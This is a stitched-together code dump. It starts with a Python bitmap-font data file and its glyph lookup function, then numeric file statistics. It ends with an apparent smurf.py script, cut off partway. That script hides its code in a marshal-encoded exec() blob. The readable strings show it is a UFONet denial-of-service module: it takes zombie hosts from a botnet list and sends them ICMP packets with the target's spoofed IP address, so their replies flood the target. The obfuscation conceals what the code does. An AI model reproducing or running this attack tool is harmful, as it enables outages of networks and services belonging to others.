b'\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x60'\
b'\x0e\x70\x0c\x38\x1c\x18\x18\x1c\x38\x0c\x30\x06\x60\x07\xe0\x03'\
b'\xc0\x03\xc0\x01\x80\x01\x80\x01\x80\x01\x80\x01\x80\x01\x80\x01'\
b'\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x7f'\
b'\xf8\x7f\xf8\x00\x38\x00\x30\x00\x70\x00\xe0\x01\xc0\x01\x80\x03'\
b'\x00\x07\x00\x0e\x00\x1c\x00\x18\x00\x38\x00\x70\x00\x7f\xf8\x7f'\
b'\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x78\x78'\
b'\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60'\
b'\x60\x60\x78\x78\x06\x00\x00\x80\xc0\x40\x40\x60\x20\x20\x20\x30'\
b'\x10\x10\x10\x18\x08\x08\x0c\x04\x00\x00\x00\x00\x00\x06\x00\x00'\
b'\x78\x78\x18\x18\x18\x18\x18\x18\x18\x18\x18\x18\x18\x18\x18\x18'\
b'\x18\x18\x18\x18\x78\x78\x0b\x00\x00\x00\x00\x00\x0c\x00\x0e\x00'\
b'\x0a\x00\x1b\x00\x13\x00\x31\x00\x31\x80\x20\x80\x60\xc0\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\xff\xf8\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x06\x00\x00\x30\x18\x0c\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x80\x3f'\
b'\xc0\x60\xe0\x00\x60\x00\x60\x0f\xe0\x3e\x60\x60\x60\x60\x60\x61'\
b'\xe0\x3f\x70\x1e\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0d'\
b'\x00\x00\x00\x60\x00\x60\x00\x60\x00\x60\x00\x60\x00\x67\x80\x7f'\
b'\xe0\x78\xe0\x70\x70\x60\x30\x60\x30\x60\x30\x60\x30\x70\x70\x78'\
b'\xe0\x6f\xc0\x67\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x80\x1f'\
b'\xc0\x30\xe0\x70\x60\x60\x00\x60\x00\x60\x00\x60\x00\x70\x60\x30'\
b'\xe0\x3f\xc0\x0f\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0d'\
b'\x00\x00\x00\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x0f\x30\x1f'\
b'\xf0\x38\xf0\x70\x70\x60\x30\x60\x30\x60\x30\x60\x30\x70\x70\x38'\
b'\xf0\x1f\xb0\x0f\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x80\x1f'\
b'\xc0\x38\x60\x70\x30\x60\x30\x7f\xf0\x7f\xf0\x60\x00\x60\x30\x30'\
b'\x60\x1f\xe0\x0f\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06'\
b'\x00\x00\x18\x38\x30\x30\x30\x78\x78\x30\x30\x30\x30\x30\x30\x30'\
b'\x30\x30\x30\x00\x00\x00\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x0f\x60\x3f\xe0\x30\xe0\x70\xe0\x60\x60'\
b'\x60\x60\x60\x60\x60\x60\x70\xe0\x30\xe0\x3f\x60\x0e\x60\x00\x60'\
b'\x00\xe0\x60\xc0\x3f\xc0\x1f\x00\x0c\x00\x00\x00\x60\x00\x60\x00'\
b'\x60\x00\x60\x00\x60\x00\x67\x80\x6f\xe0\x78\xe0\x70\x60\x60\x60'\
b'\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x30\x30\x00\x00\x00'\
b'\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x00\x00\x00'\
b'\x00\x06\x00\x00\x30\x30\x00\x00\x00\x30\x30\x30\x30\x30\x30\x30'\
b'\x30\x30\x30\x30\x30\x30\x30\x30\xf0\xe0\x0c\x00\x00\x00\x60\x00'\
b'\x60\x00\x60\x00\x60\x00\x60\x00\x60\xc0\x61\x80\x63\x00\x66\x00'\
b'\x6e\x00\x7e\x00\x77\x00\x63\x00\x61\x80\x61\xc0\x60\xc0\x60\x60'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x60\x60\x60'\
b'\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\x00\x00'\
b'\x00\x00\x00\x13\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x67\x1f\x00\x6f\xbf\x80\x71\xe3\x80'\
b'\x60\xc1\x80\x60\xc1\x80\x60\xc1\x80\x60\xc1\x80\x60\xc1\x80\x60'\
b'\xc1\x80\x60\xc1\x80\x60\xc1\x80\x60\xc1\x80\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x67\x80\x6f\xe0\x78\xe0\x70\x60'\
b'\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x80\x1f\xc0\x38\xe0\x70\x70'\
b'\x60\x30\x60\x30\x60\x30\x60\x30\x70\x70\x38\xe0\x1f\xc0\x0f\x80'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0d\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x67\x80\x6f\xc0\x78\xe0\x70\x70'\
b'\x60\x30\x60\x30\x60\x30\x60\x30\x70\x70\x78\xe0\x7f\xc0\x67\x80'\
b'\x60\x00\x60\x00\x60\x00\x60\x00\x00\x00\x0d\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x30\x1f\xf0\x38\xf0\x70\x70'\
b'\x60\x30\x60\x30\x60\x30\x60\x30\x70\x70\x38\xf0\x3f\xf0\x0f\x30'\
b'\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x08\x00\x00\x00\x00\x00'\
b'\x00\x00\x66\x6e\x78\x60\x60\x60\x60\x60\x60\x60\x60\x60\x00\x00'\
b'\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x1f\x80\x3f\xe0\x70\x60\x60\x00\x70\x00\x3f\x00\x0f\xc0\x00'\
b'\xe0\x60\x60\x70\xe0\x3f\xc0\x1f\x80\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x06\x00\x00\x00\x00\x00\x30\x30\x78\x78\x30\x30\x30'\
b'\x30\x30\x30\x30\x30\x38\x38\x00\x00\x00\x00\x00\x0c\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60\x60\x60\x60\x60\x60'\
b'\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\xe0\x71\xe0\x7f\x60'\
b'\x1e\x60\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x60\x60\xe0\x60\xc0'\
b'\x70\xc0\x31\x80\x31\x80\x19\x80\x1b\x00\x1b\x00\x0f\x00\x0e\x00'\
b'\x0e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\xc1\xc3\x00\x61\xc3\x00\x63\xc3\x00\x63\xc6\x00\x33\x66\x00\x33'\
b'\x66\x00\x32\x66\x00\x36\x6c\x00\x1e\x3c\x00\x1e\x3c\x00\x1c\x38'\
b'\x00\x0c\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x60\xc0\x71\xc0\x31\x80\x1b\x00\x0e\x00\x0e\x00\x0e\x00\x1b'\
b'\x00\x1b\x00\x31\x80\x60\xc0\x60\xc0\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\xc0\xe0\x60\xc0\x60\xc0\x61\x80\x31\x80\x31\x80\x33\x00\x1b'\
b'\x00\x1b\x00\x1e\x00\x0e\x00\x0e\x00\x0c\x00\x0c\x00\x18\x00\x78'\
b'\x00\x70\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x7f\xc0\x7f\xc0\x01\xc0\x01\x80\x03\x00\x06\x00\x0c\x00\x18'\
b'\x00\x30\x00\x60\x00\x7f\xc0\x7f\xc0\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x08\x00\x00\x0c\x1c\x18\x18\x18\x18\x18\x18\x18\x18'\
b'\x70\x70\x18\x18\x18\x18\x18\x18\x18\x18\x1c\x0c\x06\x00\x00\x30'\
b'\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30'\
b'\x30\x30\x30\x30\x30\x08\x00\x00\x30\x38\x18\x18\x18\x18\x18\x18'\
b'\x18\x18\x0e\x0e\x18\x18\x18\x18\x18\x18\x18\x18\x38\x30\x0c\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x30\x00'\
b'\x7c\x00\x4e\x40\x07\xc0\x01\x80\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0d\x00'\
b'\x00\x00\x0f\xc0\x1f\xe0\x38\x60\x60\x30\x60\x30\x60\x00\x70\x00'\
b'\x38\x00\xff\x00\xff\x00\x1c\x00\x0c\x00\x0c\x00\x18\x00\x2f\x10'\
b'\x7f\xf0\x61\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0d\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x3f\xf8\x3f\xf8\x00\x18\x00\x18\x00\x18\x00\x18\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00'\
b'\x00\x00\x00\x00\x07\x00\x0f\x80\x18\xc0\x10\x40\x18\xc0\x0f\x80'\
b'\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00'\
b'\x00\x00\x00\x03\xe0\x00\x0f\xf8\x00\x1c\x1c\x00\x38\x0e\x00\x30'\
b'\x06\x00\x60\x03\x00\x60\x03\x00\x60\x03\x00\x60\x03\x00\x60\x03'\
b'\x00\x60\x03\x00\x30\x06\x00\x30\x0e\x00\x18\x0c\x00\x0c\x38\x00'\
b'\x7e\x3f\x00\x7e\x3f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x0f\x60\x3f\xe0\x30\xe0\x60\xe0\x60\x60\x60\x60\x60'\
b'\x60\x60\x60\x60\xe0\x30\xe0\x3f\xf0\x0f\x70\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x0d\x00\x00\x00\x1f\x80\x3f\xc0\x70\xe0\x60'\
b'\x60\x60\x60\x60\xc0\x63\x80\x63\xc0\x60\x60\x60\x30\x60\x30\x60'\
b'\x30\x60\x30\x60\x30\x70\x60\x7f\xe0\x6f\x80\x60\x00\x60\x00\x60'\
b'\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\xe0\x60\xe0\x60\x70\xc0\x30\xc0\x30\xc0\x39\x80\x19'\
b'\x80\x1b\x80\x0f\x00\x0f\x00\x06\x00\x06\x00\x06\x00\x06\x00\x06'\
b'\x00\x06\x00\x06\x00\x0d\x00\x00\x00\x3f\xe0\x3f\xe0\x18\x00\x0e'\
b'\x00\x03\x00\x0f\x80\x3f\xc0\x38\xe0\x70\x70\x60\x30\x60\x30\x60'\
b'\x30\x60\x30\x70\x70\x30\xe0\x3f\xc0\x0f\x80\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x0f\x00\x1f\x80\x30\xc0\x30'\
b'\xc0\x60\x60\x60\x60\x60\x60\x7f\xe0\x7f\xe0\x60\x60\x60\x60\x60'\
b'\x60\x60\x60\x30\xc0\x30\xc0\x1f\x80\x0f\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x0d\x00\x00\x00\x70\x00\x78\x00\x0c\x00\x0c'\
b'\x00\x06\x00\x06\x00\x0e\x00\x0f\x00\x1b\x00\x19\x00\x19\x80\x31'\
b'\x80\x30\xc0\x30\xc0\x60\xc0\x60\x70\xe0\x70\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60\x60'\
b'\x60\x60\x60\x60\x60\x70\xe0\x7f\xe0\x6f\x60\x60\x00\x60\x00\x60'\
b'\x00\x60\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x7f\xf8\x7f\xf8\x30\x30\x30\x30\x30\x30\x30\x30\x30'\
b'\x30\x30\x30\x30\x30\x30\x30\x30\x3c\x30\x1c\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\x0c\x00\x30\x0e\x00\x30'\
b'\x06\x00\x61\x87\x00\x61\x83\x00\x61\x83\x00\x61\x83\x00\x61\x83'\
b'\x00\x61\x83\x00\x33\xc6\x00\x3f\x7e\x00\x1e\x38\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00'\
b'\x00\x00\x01\x80\x01\x80\x01\x80\x01\x80\x0f\xf0\x1f\xf8\x39\x9c'\
b'\x71\x8e\x61\x86\x61\x86\x61\x86\x61\x86\x71\x8e\x39\x9c\x1f\xf8'\
b'\x0f\xf0\x01\x80\x01\x80\x01\x80\x01\x80\x00\x00'
_sparse =\
b'\x20\x00\x30\x00\x21\x00\x49\x00\x22\x00\x62\x00\x23\x00\x7b\x00'\
b'\x24\x00\xab\x00\x25\x00\xdb\x00\x26\x00\x22\x01\x27\x00\x52\x01'\
b'\x28\x00\x6b\x01\x29\x00\x84\x01\x2a\x00\x9d\x01\x2b\x00\xcd\x01'\
b'\x2c\x00\xfd\x01\x2d\x00\x16\x02\x2e\x00\x2f\x02\x2f\x00\x48\x02'\
b'\x30\x00\x61\x02\x31\x00\x91\x02\x32\x00\xc1\x02\x33\x00\xf1\x02'\
b'\x34\x00\x21\x03\x35\x00\x51\x03\x36\x00\x81\x03\x37\x00\xb1\x03'\
b'\x38\x00\xe1\x03\x39\x00\x11\x04\x3a\x00\x41\x04\x3b\x00\x5a\x04'\
b'\x3c\x00\x73\x04\x3d\x00\xa3\x04\x3e\x00\xd3\x04\x3f\x00\x03\x05'\
b'\x40\x00\x33\x05\x41\x00\x7a\x05\x42\x00\xaa\x05\x43\x00\xda\x05'\
b'\x44\x00\x0a\x06\x45\x00\x3a\x06\x46\x00\x6a\x06\x47\x00\x9a\x06'\
b'\x48\x00\xe1\x06\x49\x00\x28\x07\x4a\x00\x41\x07\x4b\x00\x71\x07'\
b'\x4c\x00\xa1\x07\x4d\x00\xd1\x07\x4e\x00\x18\x08\x4f\x00\x5f\x08'\
b'\x50\x00\xa6\x08\x51\x00\xd6\x08\x52\x00\x1d\x09\x53\x00\x4d\x09'\
b'\x54\x00\x7d\x09\x55\x00\xad\x09\x56\x00\xf4\x09\x57\x00\x24\x0a'\
b'\x58\x00\x6b\x0a\x59\x00\x9b\x0a\x5a\x00\xcb\x0a\x5b\x00\xfb\x0a'\
b'\x5c\x00\x14\x0b\x5d\x00\x2d\x0b\x5e\x00\x46\x0b\x5f\x00\x76\x0b'\
b'\x60\x00\xa6\x0b\x61\x00\xbf\x0b\x62\x00\xef\x0b\x63\x00\x1f\x0c'\
b'\x64\x00\x4f\x0c\x65\x00\x7f\x0c\x66\x00\xaf\x0c\x67\x00\xc8\x0c'\
b'\x68\x00\xf8\x0c\x69\x00\x28\x0d\x6a\x00\x41\x0d\x6b\x00\x5a\x0d'\
b'\x6c\x00\x8a\x0d\x6d\x00\xa3\x0d\x6e\x00\xea\x0d\x6f\x00\x1a\x0e'\
b'\x70\x00\x4a\x0e\x71\x00\x7a\x0e\x72\x00\xaa\x0e\x73\x00\xc3\x0e'\
b'\x74\x00\xf3\x0e\x75\x00\x0c\x0f\x76\x00\x3c\x0f\x77\x00\x6c\x0f'\
b'\x78\x00\xb3\x0f\x79\x00\xe3\x0f\x7a\x00\x13\x10\x7b\x00\x43\x10'\
b'\x7c\x00\x5c\x10\x7d\x00\x75\x10\x7e\x00\x8e\x10\xa3\x00\xbe\x10'\
b'\xac\x00\xee\x10\xb0\x00\x1e\x11\xa9\x03\x4e\x11\xb1\x03\x95\x11'\
b'\xb2\x03\xc5\x11\xb3\x03\xf5\x11\xb4\x03\x25\x12\xb8\x03\x55\x12'\
b'\xbb\x03\x85\x12\xbc\x03\xb5\x12\xc0\x03\xe5\x12\xc9\x03\x15\x13'\
b'\xd5\x03\x5c\x13'
_mvfont = memoryview(_font)
_mvsp = memoryview(_sparse)
ifb = lambda l : l[0] | (l[1] << 8)
def bs(lst, val):
while True:
m = (len(lst) & ~ 7) >> 1
v = ifb(lst[m:])
if v == val:
return ifb(lst[m + 2:])
if not m:
return 0
lst = lst[m:] if v < val else lst[:m]
def get_ch(ch):
doff = bs(_mvsp, ord(ch))
width = ifb(_mvfont[doff : ])
next_offs = doff + 2 + ((width - 1)//8 + 1) * 23
return _mvfont[doff + 2:next_offs], 23, width
| 61.886364
| 140
| 0.704248
| 5,932
| 24,507
| 2.906608
| 0.045347
| 0.539033
| 0.655608
| 0.707111
| 0.660596
| 0.624174
| 0.593319
| 0.557302
| 0.538105
| 0.494896
| 0
| 0.411386
| 0.025176
| 24,507
| 395
| 141
| 62.043038
| 0.310213
| 0.009467
| 0
| 0.082228
| 1
| 0.901857
| 0.896745
| 0.895921
| 0
| 1
| 0
| 0
| 0
| 1
| 0.026525
| false
| 0
| 0
| 0.02122
| 0.055703
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
5cca8a8d7d4bb4b2c49273ae96972753b25192f5
| 9,357
|
py
|
Python
|
smurf.py
|
11ourmine/ddos404
|
d9c2fdb86be1ff392eb368006567eb87969286e1
|
[
"Unlicense"
] | null | null | null |
smurf.py
|
11ourmine/ddos404
|
d9c2fdb86be1ff392eb368006567eb87969286e1
|
[
"Unlicense"
] | null | null | null |
smurf.py
|
11ourmine/ddos404
|
d9c2fdb86be1ff392eb368006567eb87969286e1
|
[
"Unlicense"
] | null | null | null |
#ngapain stah ^_^
import marshal
exec(marshal.loads('c\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00@\x00\x00\x00s\x95\x00\x00\x00d\x00\x00Z\x00\x00d\x01\x00d\x02\x00l\x01\x00Z\x01\x00d\x01\x00d\x02\x00l\x02\x00Z\x02\x00d\x01\x00d\x02\x00l\x03\x00Z\x03\x00d\x01\x00d\x02\x00l\x04\x00Z\x04\x00y\x0e\x00d\x01\x00d\x03\x00l\x05\x00TWn\x19\x00\x01\x01\x01d\x04\x00GHe\x01\x00j\x06\x00d\x05\x00\x83\x01\x00\x01n\x01\x00Xd\x06\x00\x84\x00\x00Z\x07\x00d\x07\x00\x84\x00\x00Z\x08\x00d\x08\x00\x84\x00\x00Z\t\x00d\t\x00e\n\x00f\x01\x00d\n\x00\x84\x00\x00\x83\x00\x00YZ\x0b\x00d\x02\x00S(\x0b\x00\x00\x00s\x10\x01\x00\x00\nUFONet - Denial of Service Toolkit - 2015 - by Mrlink (epsylon@riseup.net)\n\nYou should have received a copy of the GNU General Public License along\nwith UFONet; if not, write to the Free Software Foundation, Inc., 51\nFranklin St, Fifth Floor, Boston, MA 02110-1301 USA\ni\xff\xff\xff\xffN(\x01\x00\x00\x00t\x01\x00\x00\x00*s\x86\x00\x00\x00\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ \'sudo apt-get install python-scapy\' or \'pip install scapy\'\ni\x02\x00\x00\x00c\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00C\x00\x00\x00s\x16\x00\x00\x00t\x00\x00j\x01\x00d\x01\x00d\x02\x00\x83\x02\x00}\x00\x00|\x00\x00S(\x03\x00\x00\x00Ni\x01\x00\x00\x00i\xff\xff\x00\x00(\x02\x00\x00\x00t\x06\x00\x00\x00randomt\x07\x00\x00\x00randint(\x01\x00\x00\x00t\x01\x00\x00\x00x(\x00\x00\x00\x00(\x00\x00\x00\x00s\x07\x00\x00\x00<febry>t\x07\x00\x00\x00randInt\x13\x00\x00\x00s\x04\x00\x00\x00\x00\x01\x12\x01c\x01\x00\x00\x00\t\x00\x00\x00\x03\x00\x00\x00C\x00\x00\x00s\xea\x00\x00\x00i\x00\x00}\x01\x00t\x00\x00j\x01\x00|\x00\x00\x83\x01\x00j\x02\x00\x83\x00\x00}\x02\x00|\x02\x00|\x01\x00k\x07\x00r\xd7\x00y\x1d\x00t\x03\x00j\x04\x00|\x02\x00\x83\x01\x00}\x03\x00|\x03\x00|\x01\x00|\x02\x00<Wq\xe6\x00\x01\x01\x01yv\x00d\x01\x00d\x00\x00l\x05\x00}\x04\x00|\x04\x00j\x06\x00j\x07\x00\x83\x00\x00}\x05\x00d\x02\x00d\x03\x00g\x02\x00|\x05\x00_\x08\x00t\t\x00|\x02\x00\x83\x01\x00}\x06\x00|\x05\x00j\n\x00|\x06\x00j\x0b\x00d\x04\x00\x83\x02\x00}\x07\x00x\x1a\x00|\x07\x00D]\x12\x00}\x08\x00t\x0c\x00|\x08\x00\x83\x01\x00}\x03\x00q\x9f\x00W|\x03\x00|\x01\x00|\x02\x00<Wq\xd4\x00\x01\x01\x01|\x02\x00}\x03\x00q\xd4\x00Xq\xe6\x00Xn\x0f\x00|\x01\x00j\r\x00|\x02\x00\x83\x01\x00}\x03\x00|\x03\x00S(\x05\x00\x00\x00Ni\xff\xff\xff\xffs\x07\x00\x00\x008.8.8.8s\x07\x00\x00\x008.8.4.4t\x01\x00\x00\x00A(\x0e\x00\x00\x00R\x01\x00\x00\x00t\x06\x00\x00\x00choicet\x05\x00\x00\x00stript\x06\x00\x00\x00sockett\r\x00\x00\x00gethostbynamet\x0c\x00\x00\x00dns.resolvert\x08\x00\x00\x00resolvert\x08\x00\x00\x00Resolvert\x0b\x00\x00\x00nameserverst\x08\x00\x00\x00urlparset\x05\x00\x00\x00queryt\x06\x00\x00\x00netloct\x03\x00\x00\x00strt\x03\x00\x00\x00get(\t\x00\x00\x00t\r\x00\x00\x00base_stationst\x02\x00\x00\x00bst\x08\x00\x00\x00s_zombiet\x0b\x00\x00\x00s_zombie_ipt\x03\x00\x00\x00dnst\x01\x00\x00\x00rt\x03\x00\x00\x00urlt\x01\x00\x00\x00at\x02\x00\x00\x00rd(\x00\x00\x00\x00(\x00\x00\x00\x00s\x07\x00\x00\x00<febry>t\x03\x00\x00\x00sIP\x17\x00\x00\x00s(\x00\x00\x00\x00\x01\x06\x01\x15\x01\x0c\x01\x03\x01\x0f\x01\x0e\x01\x03\x01\x03\x01\x0c\x01\x0f\x01\x0f\x01\x0c\x01\x15\x01\r\x01\x10\x01\x0e\x01\x03\x01\x11\x02\x0f\x01c\x03\x00\x00\x00\r\x00\x00\x00\x05\x00\x00\x00C\x00\x00\x00s\xa5\x01\x00\x00t\x00\x00d\x01\x00\x83\x01\x00}\x03\x00|\x03\x00j\x01\x00\x83\x00\x00}\x04\x00g\x00\x00|\x04\x00D]\x18\x00}\x05\x00|\x05\x00j\x02\x00d\x02\x00d\x03\x00\x83\x02\x00^\x02\x00q\x1f\x00}\x04\x00|\x03\x00j\x03\x00\x83\x00\x00\x01d\x04\x00}\x06\x00yE\x01x>\x01t\x04\x00d\x04\x00t\x05\x00|\x02\x00\x83\x01\x00\x83\x02\x00D]\'\x01}\x07\x00|\x06\x00d\x05\x00\x17}\x06\x00t\x06\x00|\x04\x00\x83\x01\x00}\x08\x00|\x08\x00d\x00\x00k\x02\x00r\x97\x00d\x06\x00GHPn\x00\x00t\x08\x00\x83\x00\x00}\t\x00t\x08\x00\x83\x00\x00}\n\x00t\t\x00\x83\x00\x00}\x0b\x00y\r\x00|\x00\x00|\x0b\x00_\n\x00Wn\r\x00\x01\x01\x01d\x07\x00GHPn\x01\x00Xy\r\x00|\x08\x00|\x0b\x00_\x0b\x00Wn\r\x00\x01\x01\x01d\x08\x00GHPn\x01\x00Xt\x0c\x00\x83\x00\x00}\x0c\x00|\x01\x00|\x0c\x00_\r\x00|\x01\x00|\x0c\x00_\x0e\x00|\t\x00|\x0c\x00_\x0f\x00|\n\x00|\x0c\x00_\x10\x00yI\x00t\x11\x00|\x0b\x00t\x12\x00\x83\x00\x00\x15d\t\x00d\x04\x00\x83\x01\x01\x01d\n\x00t\x13\x00|\x06\x00\x83\x01\x00\x17d\x0b\x00\x17t\x13\x00|\x08\x00\x83\x01\x00\x17d\x0c\x00\x17GHt\x14\x00j\x15\x00d\x05\x00\x83\x01\x00\x01Wqf\x00\x01\x01\x01d\r\x00t\x13\x00|\x06\x00\x83\x01\x00\x17d\x0b\x00\x17t\x13\x00|\x08\x00\x83\x01\x00\x17d\x0e\x00\x17GHqf\x00Xqf\x00WWn\x0c\x00\x01\x01\x01d\x0f\x00GHn\x01\x00Xd\x00\x00S(\x10\x00\x00\x00Ns\x12\x00\x00\x00botnet/zombies.txts\x01\x00\x00\x00\nt\x00\x00\x00\x00i\x00\x00\x00\x00i\x01\x00\x00\x00sJ\x00\x00\x00[Error] [AI] [SMURF] Imposible to retrieve \'base stations\' -> [Aborting!]\nsI\x00\x00\x00[Error] [AI] [SMURF] Imposible to resolve IP from target! -> [Aborting!]\nsP\x00\x00\x00[Error] [AI] [SMURF] Imposible to resolve IP from \'base station\' -> [Aborting!]\nt\x07\x00\x00\x00verboses0\x00\x00\x00[Info] [AI] [SMURF] Redirecting \'base station\' [s\x03\x00\x00\x00] [s\x12\x00\x00\x00] -> [RE-FLUXING!]s8\x00\x00\x00[Error] [AI] [SMURF] Failed to redirect \'base station\' [t\x01\x00\x00\x00]sS\x00\x00\x00[Error] [AI] [SMURF] Failing to engage... -> Is still target online? -> [Checking!](\x16\x00\x00\x00t\x04\x00\x00\x00opent\t\x00\x00\x00readlinest\x07\x00\x00\x00replacet\x05\x00\x00\x00closet\x05\x00\x00\x00ranget\x03\x00\x00\x00intR\x1c\x00\x00\x00t\x04\x00\x00\x00NoneR\x04\x00\x00\x00t\x02\x00\x00\x00IPt\x03\x00\x00\x00srct\x03\x00\x00\x00dstt\x03\x00\x00\x00TCPt\x05\x00\x00\x00sportt\x05\x00\x00\x00dportt\x03\x00\x00\x00seqt\x06\x00\x00\x00windowt\x04\x00\x00\x00sendt\x04\x00\x00\x00ICMPR\x11\x00\x00\x00t\x04\x00\x00\x00timet\x05\x00\x00\x00sleep(\r\x00\x00\x00t\x02\x00\x00\x00ipR+\x00\x00\x00t\x06\x00\x00\x00roundst\x01\x00\x00\x00fR\x13\x00\x00\x00t\x0c\x00\x00\x00base_stationt\x01\x00\x00\x00nR\x03\x00\x00\x00R\x16\x00\x00\x00R-\x00\x00\x00R.\x00\x00\x00t\x04\x00\x00\x00IP_pt\x05\x00\x00\x00TCP_l(\x00\x00\x00\x00(\x00\x00\x00\x00s\x07\x00\x00\x00<febry>t\x08\x00\x00\x00smurfize.\x00\x00\x00sL\x00\x00\x00\x00\x01\x0c\x01\x0c